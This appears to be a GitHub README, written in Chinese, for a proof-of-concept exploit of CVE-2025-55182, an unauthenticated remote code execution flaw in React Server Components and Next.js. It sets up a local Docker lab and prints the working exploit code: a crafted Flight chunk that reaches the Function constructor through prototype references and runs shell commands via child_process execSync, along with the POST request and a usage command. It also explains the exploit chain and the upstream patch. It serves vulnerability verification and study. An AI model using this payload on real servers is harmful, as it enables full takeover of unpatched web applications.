monarchfish/cve-2025-55182-poc
GitHub: monarchfish/cve-2025-55182-poc
针对 CVE-2025-55182 的概念验证工具,验证 React Server Components / Next.js Flight 协议反序列化导致的未认证远程代码执行漏洞。
Stars: 0 | Forks: 0
# 基本資訊
CVE-2025-55182 是 2025 年影響最廣的 Web 框架漏洞之一。React Server Components(RSC)已是現代 Next.js 應用的主流架構,大量以 `create-next-app` 建立的標準專案皆在受影響範圍內,且**無需任何客製化程式碼**即可被利用。
| 項目 | 內容 |
|------|------|
| CVE 編號 | CVE-2025-55182 |
| 別稱 | React2Shell |
| 漏洞類型 | 未認證遠端程式碼執行(Unauthenticated RCE);CWE-502 反序列化不可信資料(Deserialization of Untrusted Data)[3] |
| CVSS 評分 | 10.0(Critical)(CVSS 3.1,Facebook/CNA [2]) |
| **受影響套件** | `react-server-dom-parcel`、`react-server-dom-turbopack`、`react-server-dom-webpack` |
| 受影響版本 | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 以上、15.x、16.x |
| 攻擊複雜度 | 極低(單一 HTTP POST 請求) |
| 是否需要認證 | 否 |
# POC 建立流程
## 1. 使用官方語法建立 App
使用含有漏洞的版本(16.0.6)建立 Next 應用:
pnpm create next-app@16.0.6 next-app --yes
## 2. 建立測試用 Server Action
1. 在 `next-app/app/` 下新增 `actions.ts`,標記為 Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
2. 在首頁(例如 `app/page.tsx`)加入表單,`action` 指向上述 `testAction`,並至少包含一個欄位(例如 hidden input)。
## 3. 建立安全的容器化 POC 環境
專案內 `next-app/Dockerfile` 與 `docker-compose.yml` 可用於建置並執行 Next 應用,撰寫方式可參考官方範例 [8]。
在專案根目錄執行:
docker compose up --build -d
即可在 `http://localhost:3000` 存取已啟動的 Next 應用。
**POC 結束後,完整移除 Docker 環境:**
docker compose down -v
## 漏洞利用步驟
### 步驟一:取得 ACTION_ID
執行 POC 時,腳本會 fetch 首頁並以正則 `\$ACTION_ID_([a-f0-9]{40})/` 取出 ID。範例:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
### 步驟二:執行漏洞利用
在專案根目錄安裝依賴後執行:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
關鍵程式碼片段如下:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
以下以在目標主機寫入檔案為例:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
### 步驟三:觀察結果
- RCE 成功時,伺服器可能在執行指令後卡住或逾時,此時 request 會 timeout,屬預期行為。
- 請在目標主機上確認指令是否已執行(例如檢查檔案、process)。
- 可使用 `docker compose exec` 進入容器查看,或透過 Docker Desktop 操作。
# 原理說明
## 漏洞位置
漏洞位於 React 的 **Flight 協議反序列化機制**(RSC Flight Deserializer)。此機制負責在伺服器與客戶端之間傳遞 React 元件狀態,但處理流程存在嚴重的信任邊界問題。
## 利用鏈(Exploit Chain)
攻擊者發送惡意 HTTP POST
↓
[階段 1] 建立自我參照迴圈物件(Self-referential loop)
↓
[階段 2] 誘騙 JavaScript 引擎呼叫攻擊者控制的函式
↓
[階段 3] 注入惡意資料觸發 Flight 初始化流程
↓
[階段 4] 透過 Blob Handler 呼叫 Function constructor
↓
任意 JavaScript 在伺服器端執行(RCE)
## React Server 與傳輸格式
React 的 **Server Functions**(在 Next.js 中即 Server Actions)會將前端要傳給後端的資料,透過 **React Flight 協定** 序列化成「一塊一塊」的 **chunk**,再以表單(form data)送出。
此設計的優點包括:
- **串流傳輸**:chunk 可依序產生與解析,不必等整個 payload 就緒,利於延遲與記憶體控制。
- **去重與共享**:同一筆資料只序列化一次,多處以引用指向,減少重複與傳輸量。
- **相容表單 POST**:chunk 以 multipart 欄位傳送,無需自訂 binary 協定,也利於既有 CDN、代理與除錯。
- **可表達複雜結構**:支援巢狀物件與以引用表達的圖形結構,滿足 RPC 所需的豐富型別。
Chunk 之間可互相引用,例如:
- chunk 0:`["$1"]`(引用第 1 塊)
- chunk 1:`{"object":"fruit","name":"$2:fruitName"}`(引用第 2 塊的 `fruitName`)
- chunk 2:`{"fruitName":"cherry"}`
伺服器解讀後得到:`{ object: 'fruit', name: 'cherry' }`。亦即協定允許以 `$數字:鍵名` 指向其他 chunk 的屬性,再組合成最終的 JavaScript 物件。
## 漏洞成因
修補前的實作在解析這些引用時,**未嚴格檢查「該鍵是否真的存在於該物件自身」**,攻擊者因此可透過引用讀取 **物件原型(prototype)** 上的屬性。
例如可構造如下 payload:
- chunk 0:`["$1:__proto__:constructor:constructor"]`
- chunk 1:`{"x":1}`
伺服器解析「chunk 1 的 `__proto__` → `constructor` → `constructor`」時,會取得 **Function 建構式**(`[Function: Function]`),即「以字串建出函式」的內建建構式。亦即:**透過不當的引用鏈,可在伺服器端取得 `Function`,進而將字串當成程式碼執行。**
## thenable 與 await
Next.js 收到表單後,會以 `decodeReplyFromBusboy` 將 chunk 還原成一個值,並對該值做 **await**。
在 JavaScript 中,若物件具有 `.then` 方法,即會被視為 **thenable**;await 時會呼叫此 `.then`。因此若能使「解碼結果」的 `.then` 指向攻擊者控制的函式(例如前述的 Function 建構式),在 await 當下就會執行該邏輯。攻擊的下一步即:**構造一個「解碼後形同 thenable」的物件,並將其 `.then` 指向預期的呼叫點(call gadget)。**
## 從「假 chunk」到 RCE
1. **以 `$@0` 引用「原始 chunk」**
協定中 `$@數字` 表示「取第 N 塊的**原始內容**,不再往下解析」。因此可讓 chunk 1 為 `"$@0"`,使解析過程讀取「chunk 0 自身」的原始表示。
2. **將 chunk 0 的 `.then` 指向 Chunk 的 prototype**
若 chunk 0 為物件且形如 `{"then": "$1:__proto__:then", ...}`,chunk 1 為 `"$@0"`,解析時會把 chunk 0 的 `.then` 設為 **Chunk.prototype.then**(Flight 協定中 Chunk 本身為 thenable)。如此一來,當 Next.js 對解碼結果做 await 時,就會進入 Chunk 的 `.then` 邏輯。
3. **觸發 `initializeModelChunk`**
在 Chunk.prototype.then 中,若該「假 chunk」的 `status` 為 `"resolved_model"`,會進入 `initializeModelChunk`。此處會將 chunk 的 `value` 當作 JSON 解析,並對解析出的物件進行一輪「復活」(revive),其中會處理各種特殊前綴(例如 `$B` 開頭的 blob 引用)。
4. **呼叫點:`_response._formData.get(_prefix + id)`**
處理 `$B` 前綴時,程式會執行:
`response._formData.get(response._prefix + 某個 id)`。
若在假 chunk 中透過 `_response` 控制 `_formData` 與 `_prefix`,並將 `_formData.get` 指向 **Function 建構式**、`_prefix` 設為欲執行的程式碼字串,該行即變為:
`Function("我們寫的程式碼" + "0")`
亦即「以字串建出一個函式」。此函式會作為該 chunk 的 `.then` 回傳值,並在同一 promise 鏈中被 await 呼叫,從而在伺服器上執行我們的程式碼。
5. **實際 RCE**
將「我們寫的程式碼」改為例如:
`process.mainModule.require('child_process').execSync('要執行的系統指令');`
即可在伺服器上達成 **遠端程式碼執行(RCE)**。
## 修補方式(摘要)
React 在 PR #35277 [9](commit e2fd5dc [10])中修補此漏洞,重點有二:
1. **限制屬性解析不沿 prototype 鏈**
在 `requireModule` 等解析 chunk 引用的邏輯中,改為先以 **hasOwnProperty** 檢查「該鍵是否真的存在於該物件自身」;若否,則回傳 `undefined`,不再從 `__proto__` 取得 `constructor` 等不應暴露的屬性。此修改套用於多個 Flight 相關模組(如 `ReactFlightClientConfigBundlerNode`、`ReactFlightClientConfigBundlerWebpack` 及 Parcel / Turbopack 對應設定),阻斷「透過引用取得 Function 建構式 → 構造 thenable → 觸發 get gadget 執行任意程式碼」的利用鏈。
2. **decodeReplyFromBusboy 的錯誤處理**
在解析 form data(`resolveField`、`resolveFileComplete` 等)時加入 **try/catch**,一旦解析拋錯即呼叫 `busboyStream.destroy(error)`,使錯誤正確傳遞並避免串流處於不一致狀態,降低解析異常時的可利用面。
## 參考連結
1. [NVD — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
2. [CVSS 3.1 計算(Facebook/CNA)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2025-55182&vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&version=3.1&source=Facebook,%20Inc.)
3. [CWE-502 — Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
4. [React 官方公告 — Critical security vulnerability in React Server Components](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
5. [Facebook 資安公告 — CVE-2025-55182](https://www.facebook.com/security/advisories/cve-2025-55182)
6. [CISA 已知遭利用漏洞目錄](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-55182)
7. [Next.js 資安公告 — RCE in React Server Components](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp)
8. [Next.js with-docker 範例 Dockerfile](https://github.com/vercel/next.js/blob/canary/examples/with-docker/Dockerfile)
9. [React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient](https://github.com/facebook/react/pull/35277)
10. [React PR #35277 的具體變更(commit e2fd5dc)](https://github.com/facebook/react/pull/35277/changes/e2fd5dc6ad973dd3f220056404d0ae0a8707998d)
11. [POC參考](https://github.com/clevernyyyy/CVE-2025-55182-Dockerized/tree/main)
标签:CISA项目, CVE-2025-55182, CVSS 10.0, CWE-502, Docker, Exploit, Flight Protocol, Maven, MITM代理, NIDS, PoC, RCE, React2Shell, React Server Components, RSC, Web 安全, 前端安全, 反序列化漏洞, 安全防御评估, 容器化, 暴力破解, 框架漏洞, 概念验证, 漏洞验证, 编程工具, 网络安全, 自动化攻击, 请求拦截, 远程代码执行, 隐私保护, 零点击漏洞, 高危漏洞